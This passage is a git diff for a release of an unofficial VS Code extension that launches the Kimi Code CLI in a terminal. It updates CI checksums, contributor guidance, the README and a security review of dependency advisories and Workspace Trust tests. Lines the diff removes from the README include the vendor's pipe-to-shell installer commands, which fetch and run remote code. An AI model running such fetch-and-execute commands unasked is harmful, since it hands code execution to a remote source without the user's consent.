diff --git a/.github/social-preview.html b/.github/social-preview.html
new file mode 100644
index 0000000..cb59a2d
--- /dev/null
+++ b/.github/social-preview.html
@@ -0,0 +1,97 @@
+
+
+
+
+
+ Kimi Code CLI Launcher social preview
+
+
+
+
+
+
+
VS Code extension
+
Kimi Code CLI Launcher
+
Open Kimi in a fresh, workspace-aware side terminal — in one click.
+
+
Windows
+
macOS
+
Linux
+
+
+
+
+
diff --git a/.github/social-preview.png b/.github/social-preview.png
new file mode 100644
index 0000000..22bef4c
Binary files /dev/null and b/.github/social-preview.png differ
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index e0aa8da..ab366a3 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -5,6 +5,9 @@ on:
branches:
- main
pull_request:
+ workflow_dispatch:
+ schedule:
+ - cron: '17 6 * * 1'
permissions:
contents: read
@@ -15,6 +18,7 @@ concurrency:
jobs:
validate:
+ if: github.event_name != 'schedule'
runs-on: ${{ matrix.os }}
timeout-minutes: 15
strategy:
@@ -49,6 +53,7 @@ jobs:
run: xvfb-run -a npm run check
compatibility:
+ if: github.event_name != 'schedule'
name: Compatibility (${{ matrix.os }}, VS Code ${{ matrix.vscode }})
runs-on: ${{ matrix.os }}
timeout-minutes: 15
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 51ae40f..9f36d9c 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -42,7 +42,12 @@ jobs:
run: npm run check:security
- name: Build VSIX
- run: npm run package
+ shell: bash
+ run: |
+ npm run package
+ PACKAGE_VERSION="$(node -p "require('./package.json').version")"
+ VSIX="vscode-kimi-code-cli-launcher-$PACKAGE_VERSION.vsix"
+ sha256sum "$VSIX" > "$VSIX.sha256"
- name: Create or update GitHub release
shell: bash
@@ -52,7 +57,7 @@ jobs:
PACKAGE_VERSION="$(node -p "require('./package.json').version")"
VSIX="vscode-kimi-code-cli-launcher-$PACKAGE_VERSION.vsix"
if gh release view "$GITHUB_REF_NAME" >/dev/null 2>&1; then
- gh release upload "$GITHUB_REF_NAME" "$VSIX" --clobber
+ gh release upload "$GITHUB_REF_NAME" "$VSIX" "$VSIX.sha256" --clobber
else
- gh release create "$GITHUB_REF_NAME" "$VSIX" --generate-notes --title "$GITHUB_REF_NAME" --verify-tag
+ gh release create "$GITHUB_REF_NAME" "$VSIX" "$VSIX.sha256" --generate-notes --title "Kimi Code CLI Launcher $GITHUB_REF_NAME" --verify-tag
fi
diff --git a/.gitignore b/.gitignore
index 713d39c..e2aa156 100644
--- a/.gitignore
+++ b/.gitignore
@@ -6,6 +6,7 @@ out/**/*.map
.env.*
!.env.example
*.vsix
+*.vsix.sha256
*.tgz
.vscode-test/
.vsce/
diff --git a/CHANGELOG.md b/CHANGELOG.md
index fa5b66d..22a17fb 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -6,6 +6,26 @@ The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and
## Unreleased
+## 0.1.5 - 2026-08-08
+
+### Added
+
+- Added a real Extension Host workflow image and a custom, reproducible GitHub social preview
+- Added SHA-256 checksum assets to GitHub releases
+
+### Changed
+
+- Reworked the README around installation, product value, trust boundaries, and the distinction from the official Kimi extension
+- Moved detailed development, validation, packaging, and release guidance into `CONTRIBUTING.md`
+- Standardized GitHub release titles and prepared curated release notes
+
+### Security
+
+- Updated transitive `js-yaml` and `undici` development dependencies to remediate current high-severity advisories
+- Added behavioral regression coverage proving that programmatic launches remain blocked in untrusted workspaces and workspace-controlled commands are ignored
+- Added a weekly lockfile security audit without re-enabling periodic dependency version-update pull requests
+- Expanded required `main` checks to cover dependency auditing, compatibility, and CodeQL, and applied branch protection to administrators
+
## 0.1.4 - 2026-08-02
### Changed
diff --git a/CITATION.cff b/CITATION.cff
index 22abfb0..5e65dc6 100644
--- a/CITATION.cff
+++ b/CITATION.cff
@@ -5,6 +5,6 @@ authors:
- family-names: Gasperini
given-names: Michael
url: "https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher"
-version: "0.1.4"
-date-released: "2026-08-02"
+version: "0.1.5"
+date-released: "2026-08-08"
license: MIT
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 5795f91..aec6c7d 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,34 +1,120 @@
# Contributing
-Thanks for your interest in improving Kimi Code CLI Launcher.
+Thanks for your interest in improving Kimi Code CLI Launcher. Keep changes focused: this is intentionally a small VS Code extension with no production dependencies.
-## Development
+## Architecture
+
+| Path | Responsibility |
+| --- | --- |
+| `src/extension.ts` | VS Code activation, commands, trust gate, and terminal creation |
+| `src/command-utils.ts` | Pure configuration, naming, settings-query, and workspace helpers |
+| `test/*.test.js` | Unit, security-boundary, metadata, and packaging-contract tests |
+| `test/integration/` | Real VS Code Extension Host smoke test |
+| `media/` | Marketplace, toolbar, and README artwork |
+
+The runtime uses VS Code APIs only. Do not add hidden processes, installers, downloads, telemetry, terminal-output inspection, credential handling, or production dependencies without a compelling and reviewed requirement.
+
+## Development Setup
Requirements:
-- Node.js 22.19.0 or later
-- npm
+- Node.js 22.19.0 or later; `.nvmrc` selects the maintained Node.js 22 line
+- npm and Git
- VS Code `^1.103.0` or later
+- Xvfb for Extension Host tests on a headless Linux machine
-Install dependencies and run the complete validation suite:
+Install exactly the locked dependency graph:
```bash
npm ci --ignore-scripts
+```
+
+The ignored install scripts belong to optional publishing and signing dependencies. They are not required to compile, test, inspect, or package this extension.
+
+## Validation
+
+| Command | Purpose |
+| --- | --- |
+| `npm run compile` | Compile TypeScript to the ignored `out/` directory |
+| `npm run watch` | Recompile while source files change |
+| `npm run typecheck` | Run strict TypeScript checks without emitting files |
+| `npm run lint` | Lint source and tests with Biome |
+| `npm run format:check` | Verify source and test formatting |
+| `npm run format` | Apply the configured formatter |
+| `npm run test:unit` | Compile and run unit and metadata tests |
+| `npm run test:integration` | Run the VS Code Extension Host smoke test |
+| `npm run check:security` | Audit the locked graph at high severity |
+| `npm run check` | Run lint, formatting, type-checking, all tests, and package inspection |
+| `npm run package` | Build the installable VSIX |
+
+Before opening a pull request, run:
+
+```bash
npm run check
npm run check:security
+git diff --check
+```
+
+CI repeats the lockfile audit every Monday. Scheduled runs execute the audit only; pull requests and pushes run the full cross-platform validation and compatibility matrix.
+
+To test the minimum supported VS Code version locally:
+
+```powershell
+$env:VSCODE_TEST_VERSION = '1.103.0'
+npm run test:integration
+```
+
+On a headless Linux host:
+
+```bash
+xvfb-run -a npm run check
```
-Keep changes focused and covered by tests. Update the README and changelog when user-facing behavior changes.
+## Security Invariants
-Do not add copied Kimi assets, automatic installers, telemetry, hidden command execution, or credentials. Preserve the user-level-only command setting and Workspace Trust guard.
+- Preserve the Workspace Trust check at the execution boundary.
+- Resolve executable commands from user-level configuration only; ignore workspace and workspace-folder values.
+- Send the command visibly through VS Code's terminal API.
+- Never log commands, credentials, terminal output, or full sensitive paths.
+- Keep `src/command-utils.ts` independent from the VS Code runtime where practical.
-Formatting and linting are enforced by Biome. Run `npm run format` when `npm run format:check` reports differences.
+Add targeted regression tests whenever one of these boundaries changes. Do not add copied Kimi assets, `.env` files, publisher tokens, or automatic installation and authentication flows.
## Pull Requests
-- Explain the problem and the observable behavior change.
-- Add or update targeted tests.
-- Preserve Workspace Trust protections.
-- Run `npm run check` before submitting.
-- Run `npm run check:security` after dependency changes.
-- Do not include generated VSIX files.
+- Explain the problem and observable behavior change.
+- Add or update focused tests.
+- Update README and changelog content for user-visible changes.
+- Preserve the existing icon and artwork unless the change specifically concerns visual presentation.
+- Do not commit `out/`, `.vscode-test/`, `node_modules/`, or generated VSIX files.
+- Keep action permissions minimal and pin actions to full commit SHAs.
+
+`main` is protected. Normal contributions land through a branch and pull request with the required checks and maintainer review.
+
+## Packaging and Release
+
+Build a local package only after the complete validation suite passes:
+
+```bash
+npm run check
+npm run check:security
+npm run package
+```
+
+For a release:
+
+1. Run `npm version --no-git-tag-version`.
+2. Synchronize the version and real release date in `CITATION.cff`, `CHANGELOG.md`, README installation examples, and metadata tests.
+3. Re-run all validation and inspect `npm run package:list`.
+4. Commit the validated changes and push the matching `v` tag.
+
+The `Release` workflow verifies the tag/version match, reruns validation and the security audit, packages the VSIX, creates a SHA-256 checksum, and creates or updates the GitHub release.
+
+VS Code Marketplace and Open VSX publishing are separate manual maintainer steps:
+
+```bash
+npx @vscode/vsce publish --packagePath vscode-kimi-code-cli-launcher-.vsix
+npx ovsx publish vscode-kimi-code-cli-launcher-.vsix
+```
+
+These commands require registry publisher tokens. Tokens are deliberately absent from the repository, local automation, and GitHub Actions.
diff --git a/README.md b/README.md
index fbdaf24..c40fb7e 100644
--- a/README.md
+++ b/README.md
@@ -1,117 +1,123 @@
-# Kimi Code CLI Launcher for VS Code
+
+
+
-[](https://marketplace.visualstudio.com/items?itemName=mikesoft.vscode-kimi-code-cli-launcher)
-[](https://open-vsx.org/extension/mikesoft/vscode-kimi-code-cli-launcher)
-[](LICENSE)
-[](https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher/releases/latest)
-[](https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher/actions/workflows/ci.yml)
+# Kimi Code CLI Launcher for VS Code
-Kimi Code CLI Launcher is a lightweight, unofficial VS Code extension that starts Kimi Code CLI directly from the editor toolbar. One click opens `kimi` in a new side terminal rooted in the current workspace. There is no hidden process, automatic installer, sidebar, or telemetry.
+
+ Open Kimi Code CLI in a fresh, workspace-aware side terminal — in one click.
+
-The extension uses standard VS Code terminal APIs and is designed for compatible editors such as Cursor and Windsurf on Windows, macOS, and Linux. Automated Extension Host tests cover VS Code itself.
+
+
+
+
+
+
+
-> **Disclaimer**
-> This extension is unofficial and is not affiliated with, endorsed by, or sponsored by Moonshot AI or Kimi. The Kimi name identifies the compatible CLI only. The blue avatar is an independent redraw for this launcher, not an official Kimi asset. See [TRADEMARKS.md](TRADEMARKS.md).
+
-## At a Glance
+Kimi Code CLI Launcher is a lightweight, unofficial VS Code extension that starts `kimi` directly from the editor toolbar. Every click opens a new side terminal in the workspace of the active editor. There is no hidden process, automatic installer, sidebar, terminal-output inspection, or telemetry.
-| | Kimi Code CLI Launcher |
-| --- | --- |
-| **Purpose** | Launch Kimi Code CLI from the VS Code editor toolbar |
-| **Current release** | `0.1.4` |
-| **Available on** | VS Code Marketplace, Open VSX, GitHub Releases |
-| **Extension id** | `mikesoft.vscode-kimi-code-cli-launcher` |
-| **Default command** | `kimi` |
-| **Terminal behavior** | Opens a fresh side terminal for every launch |
-| **Working directory** | Uses the workspace of the active editor when available |
-| **Platforms** | Windows, macOS, and Linux |
-| **Privacy** | No telemetry, analytics, or personal-data collection |
+> **Unofficial project:** this extension is unofficial and is not affiliated with, endorsed by, or sponsored by Moonshot AI or Kimi. The Kimi name identifies the compatible CLI only. The luminous blue avatar is an independent redraw for this launcher, not an official Kimi asset. See [TRADEMARKS.md](TRADEMARKS.md).
-## Features
+
+
+
-- Adds a luminous blue avatar launcher to the editor title toolbar
-- Opens a fresh terminal beside the active editor on every launch
-- Uses the workspace of the active editor, then the first open workspace as fallback
-- Supports a configurable Kimi command and terminal label
-- Supports quoted executable paths on Windows
-- Requires Workspace Trust before sending a command
-- Reads the launch command from user-level configuration only
-- Does not collect telemetry, inspect terminal output, or install software
+
Real VS Code Extension Host capture. The terminal text uses a harmless demo command; the launcher never inspects terminal output.
## Quick Start
-1. Install Kimi Code CLI from the official guide.
+1. Install Kimi Code CLI from the [official getting-started guide](https://www.kimi.com/code/docs/en/kimi-code-cli/guides/getting-started.html).
2. Confirm that `kimi --version` works in a regular integrated terminal.
3. Install **Kimi Code CLI Launcher** from the [VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=mikesoft.vscode-kimi-code-cli-launcher) or [Open VSX](https://open-vsx.org/extension/mikesoft/vscode-kimi-code-cli-launcher).
4. Open a project file and click the blue avatar in the editor toolbar.
Each click starts an independent Kimi Code CLI session in a new side terminal.
-## Requirements
+## Why This Launcher
-To use the extension:
+- One-click access from the editor title toolbar
+- A fresh side terminal for every session
+- Active-editor workspace selection, with the first workspace as fallback
+- User-level-only command configuration; workspace values are ignored
+- Workspace Trust enforced even for programmatic command invocation
+- No runtime dependencies, telemetry, installers, downloads, or hidden processes
+- Windows, macOS, and Linux support through standard VS Code APIs
-- VS Code `^1.103.0` or a compatible editor
-- Kimi Code CLI available in the integrated terminal environment
-- Git for Windows before the first Kimi launch on Windows
+## Kimi Code CLI Launcher vs. the Official Kimi Code Extension
-Follow the [official Kimi Code CLI getting-started guide](https://www.kimi.com/code/docs/en/kimi-code-cli/guides/getting-started.html) for current installation instructions.
+This project is a terminal-first launcher. It opens the native Kimi Code CLI experience in an integrated terminal; it does not recreate editor chat or agent panels.
-The recommended Windows installer is:
+The [official Kimi Code extension](https://marketplace.visualstudio.com/items?itemName=moonshot-ai.kimi-code), maintained by Moonshot AI, provides a different editor integration and does not launch Kimi Code CLI in a terminal.
-```powershell
-irm https://code.kimi.com/kimi-code/install.ps1 | iex
-```
+| | This launcher | Official Kimi Code extension |
+| --- | --- | --- |
+| **Publisher** | Mikesoft, unofficial | Moonshot AI, official |
+| **Primary experience** | Native Kimi Code CLI in a side terminal | Official Kimi editor integration |
+| **Launches `kimi` in a terminal** | Yes, with one click | No |
+| **Terminal sessions** | Fresh terminal on every click | Not provided by the official extension |
-The recommended macOS and Linux installer is:
+## At a Glance
-```bash
-curl -fsSL https://code.kimi.com/kimi-code/install.sh | bash
-```
+| | Kimi Code CLI Launcher |
+| --- | --- |
+| **Current release** | `0.1.5` |
+| **Extension id** | `mikesoft.vscode-kimi-code-cli-launcher` |
+| **Default command** | `kimi` |
+| **Working directory** | Workspace of the active editor, then the first open workspace |
+| **Available on** | VS Code Marketplace, Open VSX, GitHub Releases |
+| **Platforms** | Windows, macOS, and Linux |
+| **Privacy** | No telemetry, analytics, or personal-data collection |
-The official npm alternative requires Node.js 22.19.0 or later:
+## Installation
-```bash
-npm install -g @moonshot-ai/kimi-code
-```
+### VS Code Marketplace
-Verify the CLI before using the launcher:
+Search for **Kimi Code CLI Launcher**, open the [Marketplace listing](https://marketplace.visualstudio.com/items?itemName=mikesoft.vscode-kimi-code-cli-launcher), or run:
```bash
-kimi --version
+code --install-extension mikesoft.vscode-kimi-code-cli-launcher
```
-On Windows, Kimi uses the Git Bash bundled with Git for Windows. If Git Bash is installed in a custom location, set `KIMI_SHELL_PATH` to the absolute path of `bash.exe`.
-
-This extension does not install Kimi Code CLI or modify shell configuration.
-
-## Installation
+### Open VSX
-The extension id is `mikesoft.vscode-kimi-code-cli-launcher`.
+VSCodium, Cursor, Windsurf, and other editors backed by Open VSX can install the same extension id from the [Open VSX listing](https://open-vsx.org/extension/mikesoft/vscode-kimi-code-cli-launcher).
-### VS Code Marketplace
+### VSIX from a GitHub release
-Search for **Kimi Code CLI Launcher** in the Extensions view, open the [Marketplace listing](https://marketplace.visualstudio.com/items?itemName=mikesoft.vscode-kimi-code-cli-launcher), or run:
+Download `vscode-kimi-code-cli-launcher-0.1.5.vsix` and its `.sha256` checksum from the [latest GitHub release](https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher/releases/latest), then run:
```bash
-code --install-extension mikesoft.vscode-kimi-code-cli-launcher
+code --install-extension vscode-kimi-code-cli-launcher-0.1.5.vsix
```
-### Open VSX
+You can also use **Extensions: Install from VSIX...** from the Command Palette.
-Editors that use the [Open VSX Registry](https://open-vsx.org/extension/mikesoft/vscode-kimi-code-cli-launcher), such as VSCodium, Cursor, and Windsurf, resolve the same extension id from their own Extensions view.
+## Requirements
-### VSIX from a GitHub release
+- VS Code `^1.103.0` or a compatible editor
+- Kimi Code CLI available in the integrated terminal environment
+- Git for Windows before the first Kimi launch on Windows
-Download `vscode-kimi-code-cli-launcher-0.1.4.vsix` from the [latest GitHub release](https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher/releases/latest), then run:
+Use the [official Kimi Code CLI guide](https://www.kimi.com/code/docs/en/kimi-code-cli/guides/getting-started.html) for current installation instructions. The official npm alternative requires Node.js 22.19.0 or later:
```bash
-code --install-extension vscode-kimi-code-cli-launcher-0.1.4.vsix
+npm install -g @moonshot-ai/kimi-code
+kimi --version
```
-Alternatively, use **Extensions: Install from VSIX...** from the VS Code Command Palette.
+On Windows, Kimi uses the Git Bash bundled with Git for Windows. If Git Bash is installed in a custom location, set `KIMI_SHELL_PATH` to the absolute path of `bash.exe`.
-Open a project file and click the blue avatar in the editor toolbar. Each click starts a separate Kimi Code CLI session beside the active editor.
+This extension does not install Kimi Code CLI or modify shell configuration. The official Kimi update command is `kimi upgrade`.
## Configuration
@@ -122,134 +128,25 @@ Open a project file and click the blue avatar in the editor toolbar. Each click
Open **Kimi Code CLI Launcher: Open Settings** from the Command Palette.
-Default command:
-
```json
"kimiCodeCliLauncher.cliCommand": "kimi"
```
-Windows path with spaces:
+For a Windows executable path containing spaces:
```json
"kimiCodeCliLauncher.cliCommand": "\"C:\\Program Files\\Kimi Code\\kimi.exe\""
```
-The command is deliberately user-configurable and is sent visibly to the active shell. Review it before use, and do not place API keys or other secrets in this setting.
-
-## Environment Variables
-
-The launcher itself requires no `.env` file and reads no environment variables or credentials. New terminals inherit the environment that VS Code provides to the integrated shell.
-
-Kimi Code CLI manages its own configuration outside this extension. Relevant official variables include:
-
-- `KIMI_SHELL_PATH` for a custom Git Bash path on Windows
-- `KIMI_CODE_HOME` for a custom Kimi data directory
-
-Configure provider credentials through Kimi's documented login or configuration flow. Never commit `.env` files; this repository ignores them by default while allowing a future redacted `.env.example`.
+Treat the setting as executable code: review it before use and never place API keys or other secrets in it. The launcher reads no `.env` files or credentials. New terminals simply inherit the environment supplied by VS Code; Kimi owns its own login and provider configuration.
## How It Works
-Each click creates a new integrated terminal beside the editor and sends the configured command to it. Existing terminals are never reused or inspected.
-
-The terminal starts in the workspace of the active editor. If that file is outside the workspace, the first open workspace folder is used. With no open workspace, VS Code selects the terminal directory.
-
-The command is resolved from the user-level setting rather than workspace-controlled configuration. The launcher also checks `workspace.isTrusted` at execution time, so invoking the command programmatically cannot bypass Workspace Trust.
-
-### Architecture
-
-| Path | Responsibility |
-| --- | --- |
-| `src/extension.ts` | VS Code activation, command registration, trust gate, and terminal creation |
-| `src/command-utils.ts` | Pure configuration, naming, settings-query, and workspace-resolution helpers |
-| `test/*.test.js` | Unit, metadata, packaging-contract, and documentation tests |
-| `test/integration/` | Real VS Code Extension Host smoke test |
-| `media/` | Existing Marketplace and toolbar artwork |
-
-The runtime has no production dependencies, network client, filesystem access, child process, background service, or telemetry SDK. The compiled JavaScript in `out/` is generated locally and excluded from Git.
-
-## Kimi Code CLI Launcher vs. the Official Kimi Code Extension
-
-This project is a terminal-first launcher. It opens the native Kimi Code CLI interface in an integrated terminal and intentionally does not reproduce editor chat, agent panels, or other IDE integration.
-
-The [official Kimi Code extension](https://marketplace.visualstudio.com/items?itemName=moonshot-ai.kimi-code), maintained by Moonshot AI, provides a different editor integration and does not launch Kimi Code CLI in a terminal.
-
-| | This launcher | Official Kimi Code extension |
-| --- | --- | --- |
-| **Publisher** | Mikesoft, unofficial | Moonshot AI, official |
-| **Primary experience** | Native Kimi Code CLI in a side terminal | Official Kimi editor integration |
-| **Launches `kimi` in a terminal** | Yes, with one click | No |
-| **Launch command** | Configurable; defaults to `kimi` | Not a terminal CLI launcher |
-| **Terminal sessions** | Fresh terminal on every click | Not provided by the official extension |
-
-## Development
-
-Development requirements:
+Each click creates a new integrated terminal beside the editor and visibly sends the configured command. Existing terminals are never reused or inspected.
-- Node.js 22.19.0 or later; `.nvmrc` selects the maintained Node.js 22 line
-- npm and Git
-- Windows, macOS, or Linux; Linux integration tests require Xvfb in headless environments
+The active editor selects the preferred workspace. If its file is outside the workspace, the first open workspace is used; with no workspace, VS Code chooses the terminal directory.
-Install exactly the locked dependency graph:
-
-```bash
-npm ci --ignore-scripts
-```
-
-The ignored install scripts belong to optional publishing/signing dependencies and are not needed to compile, test, inspect, or package this extension.
-
-Useful commands:
-
-| Command | Purpose |
-| --- | --- |
-| `npm run compile` | Compile TypeScript to `out/` with source maps |
-| `npm run watch` | Recompile while source files change |
-| `npm run typecheck` | Run strict TypeScript checks without emitting files |
-| `npm run lint` | Lint TypeScript and JavaScript with Biome |
-| `npm run format:check` | Verify source and test formatting |
-| `npm run format` | Apply the configured formatter |
-| `npm run test:unit` | Compile and run unit and metadata tests |
-| `npm run test:integration` | Compile and run the VS Code Extension Host smoke test |
-| `npm run check:security` | Audit the locked npm dependency graph at high severity |
-| `npm run check` | Run lint, formatting, type-check, all tests, and package-content inspection |
-| `npm run package` | Build the installable VSIX |
-
-To test a specific VS Code version:
-
-```powershell
-$env:VSCODE_TEST_VERSION = '1.103.0'
-npm run test:integration
-```
-
-On Linux CI or another headless Linux host:
-
-```bash
-xvfb-run -a npm run check
-```
-
-See [CONTRIBUTING.md](CONTRIBUTING.md) for change requirements and [AGENTS.md](AGENTS.md) for repository-specific AI-agent guidance.
-
-## Build and Release
-
-Create a local VSIX after the full validation suite passes:
-
-```bash
-npm run check
-npm run check:security
-npm run package
-```
-
-The package is named `vscode-kimi-code-cli-launcher-.vsix` and is intentionally ignored by Git.
-
-For a release, update `package.json`, `package-lock.json`, `CITATION.cff`, and `CHANGELOG.md` together, including the real release date. Commit the validated changes, then push a matching `v` tag. The `Release` workflow verifies the tag/version match, reruns validation and the dependency audit, builds the VSIX, and creates or updates the GitHub release.
-
-Registry publishing is a separate, manual maintainer step performed with the VSIX produced above:
-
-```bash
-npx @vscode/vsce publish --packagePath vscode-kimi-code-cli-launcher-.vsix
-npx ovsx publish vscode-kimi-code-cli-launcher-.vsix
-```
-
-Those commands need Marketplace and Open VSX publisher tokens. The tokens are never stored in this repository or in GitHub Actions secrets, so neither CI nor an automated agent can publish on the maintainer's behalf.
+The launch command is resolved from user-level configuration only. The extension also checks `workspace.isTrusted` at execution time, so invoking the command programmatically cannot bypass Workspace Trust.
## Troubleshooting
@@ -273,29 +170,33 @@ Open a file from the target workspace before clicking the launcher. The active e
### How do I run Kimi Code CLI in VS Code?
-Install Kimi Code CLI from the official guide, verify `kimi --version` in an integrated terminal, install this launcher's VSIX, and click the blue avatar while a project file is active.
+Install Kimi Code CLI from the official guide, verify `kimi --version`, install this extension, and click the blue avatar while a project file is active.
### Is this the official Kimi VS Code extension?
No. This is an independent, unofficial terminal launcher maintained by Mikesoft.
-### Does the launcher install or update Kimi Code CLI?
+### Does the launcher install, update, or authenticate Kimi Code CLI?
-No. Install and update Kimi separately using the [official Kimi documentation](https://www.kimi.com/code/docs/en/kimi-code-cli/guides/getting-started.html). The official update command is `kimi upgrade`.
+No. Install, update, login, and provider configuration remain owned by Kimi Code CLI.
### Does the launcher reuse an existing Kimi terminal?
-No. Every click creates a fresh terminal and starts a separate Kimi Code CLI session.
+No. Every click creates a fresh terminal and starts a separate session.
### Does it work with Cursor and Windsurf?
-The launcher is designed around standard VS Code extension and terminal APIs used by compatible editors. Compatibility can vary by editor release; automated Extension Host coverage is provided for VS Code.
+The launcher uses standard VS Code extension and terminal APIs supported by compatible editors. Compatibility can vary by editor release; automated Extension Host coverage is provided for VS Code itself.
+
+## Development
+
+The runtime is deliberately small and has no production dependencies. For the architecture, locked install, validation commands, compatibility matrix, packaging, and release procedure, see [CONTRIBUTING.md](CONTRIBUTING.md).
## Privacy and Security
The launcher does not collect telemetry, analytics, or personal data. It does not install software, create temporary scripts, inspect terminal output, access the network, or invoke hidden child processes.
-The configured command is sent visibly to the integrated terminal only after Workspace Trust is granted. See the [security policy](SECURITY.md) and the latest [repository security review](docs/SECURITY_REVIEW.md).
+The configured command is sent visibly to the integrated terminal only after Workspace Trust is granted. See [SECURITY.md](SECURITY.md) and the dated [security review](docs/SECURITY_REVIEW.md).
## Support
diff --git a/docs/SECURITY_REVIEW.md b/docs/SECURITY_REVIEW.md
index 2e5b716..7e6c52c 100644
--- a/docs/SECURITY_REVIEW.md
+++ b/docs/SECURITY_REVIEW.md
@@ -1,13 +1,13 @@
# Security Review
-- Review date: 2026-08-02
+- Review date: 2026-08-08
- Scope: extension runtime, manifest, tests, npm dependency graph, package contents, and GitHub Actions workflows
## Executive Summary
No critical runtime vulnerability was identified. The extension remains a small, transparent terminal launcher with no production dependencies, network access, hidden process execution, telemetry, or credential handling.
-The review found two high-severity advisories in transitive development dependencies, one CI supply-chain hardening opportunity, and one test-isolation issue. All were remediated without changing runtime behavior. The final npm audit reports zero known vulnerabilities.
+The 2026-08-08 follow-up found two newly disclosed high-severity advisories in transitive development dependencies, incomplete required-check coverage on `main`, and a behavioral test gap around Workspace Trust. All were remediated without changing runtime behavior. The final npm audit reports zero known vulnerabilities.
## Critical Findings
@@ -26,7 +26,19 @@ Resolution:
- `brace-expansion` is locked to 5.0.9 (`package-lock.json:1510`).
- `fast-uri` is locked to 3.1.5 (`package-lock.json:2167`).
- `npm run check:security` now audits the lockfile at high severity (`package.json:127`).
-- CI and release jobs run the audit before accepting or publishing artifacts (`.github/workflows/ci.yml:104`, `.github/workflows/release.yml:42`).
+- CI and release jobs run the audit before accepting or publishing artifacts (`.github/workflows/ci.yml:109`, `.github/workflows/release.yml:42`).
+
+### SEC-007: Newly disclosed `js-yaml` and `undici` advisories — resolved
+
+**Impact:** Malicious inputs reaching affected build-tool paths could cause denial of service or HTTP parsing and cache-safety failures during development or packaging; the extension runtime was not exposed because neither package is shipped in the VSIX.
+
+The follow-up audit reported `js-yaml` 4.3.0 (GHSA-5p4m-2wfm-xmqj) and `undici` 7.28.0, including GHSA-4cwx-7wf7-3272. Both were transitive development dependencies under `@vscode/vsce`.
+
+Resolution:
+
+- `js-yaml` is locked to 4.3.1 (`package-lock.json:2748`).
+- `undici` is locked to 7.29.0 (`package-lock.json:4580`).
+- `npm audit --omit=dev` and the full locked dependency audit both report zero known vulnerabilities.
## Medium-Severity Findings
@@ -36,9 +48,18 @@ The CI workflow referenced `actions/checkout@v7` and `actions/setup-node@v6`. Ma
Resolution:
-- All checkout and Node setup steps are pinned to verified full commit SHAs, with their major release retained in same-line comments for maintainability (`.github/workflows/ci.yml:32`, `.github/workflows/ci.yml:35`, `.github/workflows/release.yml:21`, `.github/workflows/release.yml:24`).
+- All checkout and Node setup steps are pinned to verified full commit SHAs, with their major release retained in same-line comments for maintainability (`.github/workflows/ci.yml:36`, `.github/workflows/ci.yml:39`, `.github/workflows/release.yml:21`, `.github/workflows/release.yml:24`).
- Default workflow permissions remain read-only; only the release job receives scoped `contents: write` permission (`.github/workflows/release.yml:8`, `.github/workflows/release.yml:16`).
+### SEC-008: Incomplete required-check coverage on `main` — resolved
+
+Branch protection required only the Windows and Linux validation jobs. A pull request could therefore remain mergeable when dependency auditing, compatibility, or CodeQL checks failed.
+
+Resolution:
+
+- Required checks now include dependency auditing, stable macOS, minimum VS Code compatibility, and both CodeQL analyses in addition to Windows and Linux validation.
+- Branch protection is enforced for administrators, while one approving review, stale-review dismissal, conversation resolution, linear history, and force-push/deletion blocking remain enabled.
+
## Low-Severity Findings
### SEC-003: VS Code type definitions could drift beyond the supported minimum — resolved
@@ -60,6 +81,25 @@ Resolution:
- The test now saves the exact `globalValue` returned by `configuration.inspect(...)` and restores that value after the smoke test (`test/integration/suite/index.js:30`, `test/integration/suite/index.js:46`).
- The integration runner now reports failures explicitly and sets a non-zero process exit code, so CI cannot depend on unhandled-rejection behavior (`test/integration/runTest.js:24`).
+### SEC-009: Workspace Trust invariant had only structural coverage — resolved
+
+The metadata test confirmed that trust and terminal calls existed in the source but did not execute the registered command in an untrusted state. A misplaced future check could therefore satisfy the regular expression without preserving the security boundary.
+
+Resolution:
+
+- A behavioral test invokes the registered command callback with `workspace.isTrusted` false and verifies that configuration is not resolved, no terminal is created, and no text is sent (`test/extension.test.js:83`).
+- A trusted-path companion test verifies that the global user command is sent while a hostile workspace value is ignored (`test/extension.test.js:103`).
+
+### SEC-010: Dependency audit ran only after repository activity — resolved
+
+New advisories disclosed after the last push could remain visible only as repository alerts until another branch or pull-request run occurred.
+
+Resolution:
+
+- CI now runs the locked dependency audit every Monday and supports manual dispatch (`.github/workflows/ci.yml:8`).
+- Scheduled runs skip the Extension Host platform matrix and execute only the dependency audit (`.github/workflows/ci.yml:21`, `.github/workflows/ci.yml:56`).
+- Periodic Dependabot version-update pull requests remain intentionally disabled.
+
## Reviewed Design Risks
### SEC-004: User-configurable terminal command — accepted by design
@@ -87,5 +127,6 @@ The security conclusions are supported by:
- package-content inspection with `vsce ls`;
- `npm audit --package-lock-only --audit-level=high`;
- review of GitHub workflow permissions, triggers, and immutable action references.
+- live verification of required branch checks, review enforcement, CodeQL, secret scanning, and push protection.
This review covers the launcher repository only. Kimi Code CLI, VS Code, compatible editors, user shell configuration, and external providers remain outside its trust boundary.
diff --git a/media/launcher-demo.png b/media/launcher-demo.png
new file mode 100644
index 0000000..d37130d
Binary files /dev/null and b/media/launcher-demo.png differ
diff --git a/package-lock.json b/package-lock.json
index 1b6001e..3fd12fb 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,12 +1,12 @@
{
"name": "vscode-kimi-code-cli-launcher",
- "version": "0.1.4",
+ "version": "0.1.5",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "vscode-kimi-code-cli-launcher",
- "version": "0.1.4",
+ "version": "0.1.5",
"license": "MIT",
"devDependencies": {
"@biomejs/biome": "^2.5.6",
@@ -2745,9 +2745,9 @@
"license": "MIT"
},
"node_modules/js-yaml": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz",
